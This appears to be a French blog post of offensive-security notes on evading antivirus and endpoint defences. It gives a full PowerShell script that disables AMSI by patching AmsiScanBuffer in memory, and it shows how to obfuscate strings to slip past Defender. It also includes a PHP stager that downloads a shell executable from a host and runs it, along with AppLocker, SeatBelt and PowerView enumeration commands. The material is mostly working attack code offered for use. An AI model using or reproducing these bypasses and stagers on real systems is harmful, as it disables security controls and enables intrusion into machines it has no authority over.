Modifier du code pour s’évader de l’antivirus

Ce script permet de désactiver AMSI


//bypass.ps1
$MethodDefinition = "

    [DllImport(`"kernel32`")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport(`"kernel32`")]
    public static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport(`"kernel32`")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$ABSD = 'AmsiS'+'canBuffer';
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); 

[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);

Bien sûr, ce code sera détecté par l’antivirus et il faut le modifier. AMSITrigger permet de trouver les références qui déclenchent les alertes.
.\AmsiTrigger_x64.exe -i bypass.ps1 -f3

Nous devons briser les chaînes de caractères, car ces systèmes se basent principalement sur les chaînes pour étiqueter les malware. Voici donc des exemples en powershell pour rendre le code illisible.


concaténation: $machaine=('Ge' + 'rmai' + 'n')
réarrangement: $machaine=('{2}{1}{0}'-f'n','rmai','Ge')
espaces: $machaine =(   'Ger' +     'main'   )

Type accelerators

//[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6); devient
("System.Management.Automation.TypeAccelerators")::Add('dorkstork', [system.runtime.interopservices.marshal])
[dorkstork]::copy($buf, 0, $BufferAddress, 6);

Utilitaires automatisés pour créer des nouvelles chaînes
Invoke-Obfuscation -ScriptBlock {'code_a_modifier'} -Command 'Token\\String\\1,2,\\Whitespace\\1' -Quiet -NoExit

Quels bouts de code déclenchent defender ?
TreatCheck.exe -f <fichier>

Code php pour exécuter du code

<?php
  function get_stager() {
    $init = "powershell.exe";
    $payload = "Invoke-WebRequest 127.0.0.1:8000/shell.exe -outfile notashell.exe"; // Insert PowerShell payload here
    $execution_command = "shell_exec";
    $query = $execution_command("$init $payload");
    echo $query; // Execute query
  }
 function execute_stager() {
  $init = "powershell.exe";
    $payload = ".\notashell.exe"; // Insert PowerShell payload here
    $execution_command = "shell_exec";
    $query = $execution_command("$init $payload");
    echo $query; // Execute query
 }
  get_stager();
  execute_stager();
  die();
?>

AppLocker (secpol.msc) restreint certains programmes.

  • Executable Rules #Que sont les exécutables et applications qui peuvent être utilisés dans les répertoires spécifiés
  • Windows Installer Rules #Quels installers peuvent être utilisés
  • Script Rules #Quels sont les scripts qui peuvent être utilisés et à quel endroit
  • Packaged app Rules #Applications windows pre-packaged qui peuvent être utilisés

Le script applocker-bypas-checker.ps1 permet de trouver dans quel répertoire nous pourrons utiliser des scripts

SeatBelt permet d’avoir une vue d’ensemble des systèmes de sécurité

  • AMSIProviders
  • AntiVirus
  • Sysmon
  • WindowsDefender
  • WindowsEventForwarding
  • McAfeeConfigs
  • Processus d’intérêt : logiciels d’administration et logiciels de défense

Modules offerts par SeatBelt

  • DotNet : Version .NET
  • DotNET : Group policies (GPO)
  • LocalGPOs : Groupes locaux
  • LocalGroups : Partages réseaux
  • NetworkShares : Version de Powershell et paramètres de sécurité
  • PowerShell : Processus
  • Processes : Privilèges (seDebug)
  • TokenPrivileges : Énumération d’identifiants de connexion
  • InterestingFiles : CredEnum : Fichiers intéressants
  • ScheduledTasks : Tâches schédulées

SharpEDRChecker : énumère les logiciels de sécurité

  • FileChecker
  • ProcessChecker
  • ServiceChecker
  • DriverChecker
  • DirectoryChecker

PowerView


Import-Module .\PowerView.ps1
Get-NetLocalGroup
Get-NetLocalGroupMember -Group Administrators
Get-NetLoggedon
Get-DomainGPO
Find-LocalAdminAccess #vérifie si l'utilisateur actuel est un administrateur local de d'autres machines sur le domaine

Parfois les outils SeatBelt et PowerView ne pourrons être utilisés. Nous pouvons utilisés PowerUpGreySkull.ps1

Import-Module .\PowerUpGreySkull.ps1
Get-ScheduledTask
Get-ScheduledTask -TaskPath "\Users*"
Get-ScheduledTaskInfo -TaskName "Microsoft\VisualStudio\VSIX Auto Update"
whoami /priv
Import-Module ActiveDirectory; Get-ADGroup
Import-Module ActiveDirectory; Get-ADGroupMember
Import-Module ActiveDirectory; Get-ADPrincipalGroupMembership
samAccountName -like "*"

Autres ressources
https://amsi.fail/
https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/
https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html

Leave a Reply